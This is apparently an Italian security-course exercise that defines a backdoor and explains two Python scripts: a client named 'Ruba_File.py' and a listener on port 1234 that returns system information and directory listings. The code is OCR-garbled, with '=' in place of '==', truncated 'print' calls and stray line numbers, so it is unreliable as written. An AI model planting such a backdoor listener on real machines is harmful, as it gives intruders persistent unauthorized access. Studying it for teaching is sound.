S3 L2 Esercizio

BACKDOOR: Una backdoor è un programma che viene installato da un hacker, ed ha una vulnerabilità. Questa vulnerabilità è conosciuta da chi installa il programma e pertanto viene sfruttata, in modo da poter rientrare facilmente in una macchina obiettivo, senza dover rifare tutta la scalata dei privilegi. È essenzialmente una porta sul retro, che agevola gli hacker, in caso di perdite di connessione per qualsiasi motivo, oppure se si vuole mantenere l'accesso a quella macchina.

Spiegazione del codice:

Inserendo ip e porta del server, questo codice, mi permette di:

stampare un menù dove potrò scegliere se, ottenere le informazioni del sistema o elencare il contenuto di una directory.

Nel ciclo while, se il messaggio è 0, manda un messaggio al server e chiude la connessione.

Se è 1, invia un messaggio al server per ottenere informazioni dal sistema e poi le stampa a video.

Se è 2, chiede all'utente di inserire un percorso, ci elenca i file presenti in quel percorso separandoli dalla virgola.

```
~/Desktop/Ruba_File.py - Mousepad
 File Edit Search View Document Help
 B □ □ □ C ×
                                                  QKA
                                                                                                                          83
                            ე ბ
                                        1 import socket
 3 SRV_ADDR = input("Type the server IP address: ")
 4 SRV_PORT = int(input("Type the server port: "))
 6 def print_menu():
7  print("""\n\n0
                   n0) Close the connection
 8 1) Get system info #prende le informazioni del sistema
 9 2) List directory contents""") #mostra la lista del contenuto delle cartelle
11 my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
12 my_sock.connect((SRV_ADDR, SRV_PORT))
     int("Connection established")
14 pr
15 print_menu()
16
17
18
19
20
21
22
23
24
25
27
28
29
30
31
32
33
34
35
36
37
38
40
41
       message = input("\n-Select an option: ")
        if(message = "0"):
           my_sock.sendall(message.encode())#invia dei pacchetti codificati
           my_sock.close()#chiude la connessione
       elif(message ="1"):
           my_sock.sendall(message.encode())
           data = my_sock.recv(1024) #dimensioni massime del pacchetto di 1024
            if not data: break #se non ci sono dati da trasferire, esce dal ciclo
           print(data.decode('utf-8'))#decodifica tutto in utf8
       elif(message = "2"):
           path = input("Insert the path: ")#inserisco il percorso che desidero
           my_sock.sendall(message.encode())
           my_sock.sendall(path.encode())
           data = my_sock.recv(1024)
           data = data.decode('utf-8').split(",")#decodifica e separa i risultati con una virgola
             rint("*"*40)
            for x in data:
                  int(x)
            print("*"*40)
```

Crea un socket con ip e porta 1234.

s.listen ascolta il traffico in entrata.

Riceve l'ip e lo stampa.

Nel ciclo, nel primo caso, si ottengono e si stampano informazioni riguardo la piattaforma e la macchina.

Nel secondo stampa una lista di file e ci ritorna un messaggio nel caso il percorso non sia valido.

Se in invece data.decode è uguale a 0, chiude la connessione e ne apre una nuova.

```
~/Desktop/List_file.py - Mousepad
 File Edit Search View Document Help

□ □ □ □ C ×

                            QKA
                                                                                                                               83
 1 import socket, platform, os
 3 SRV_ADDR = ""
 4 SRV_PORT = 1234
 6 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 7 s.bind((SRV_ADDR, SRV_PORT))
 8 s.listen(1)
 9 connection, address = s.accept()
10
11 print ("client connected: ", address)
13 while 1:
14 try:
15
           data = connection.recv(1024)
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
       if(data.decode('utf-8') = '1'):
            tosend = platform.platform() + " " + platform.machine()
            connection.sendall(tosend.encode())
       elif(data.decode('utf-8') = '2'):
           data = connection.recv(1024)
                filelist = os.listdir(data.decode('utf-8'))
tosend = ""
                for x in filelist:
                    tosend += "," + x
           tosend = "Wrong path"
connection.sendall(tosend.encode())
       elif(data.decode('utf-8') = '0'):
           connection.close()
           connection, address = s.accept()
```

La differenza è che, il primo codice/client, ci permette di collegarci al secondo programma/server, che funge da backdoor.

Il secondo programma ascolta il traffico e passa i dati richiesti, al primo.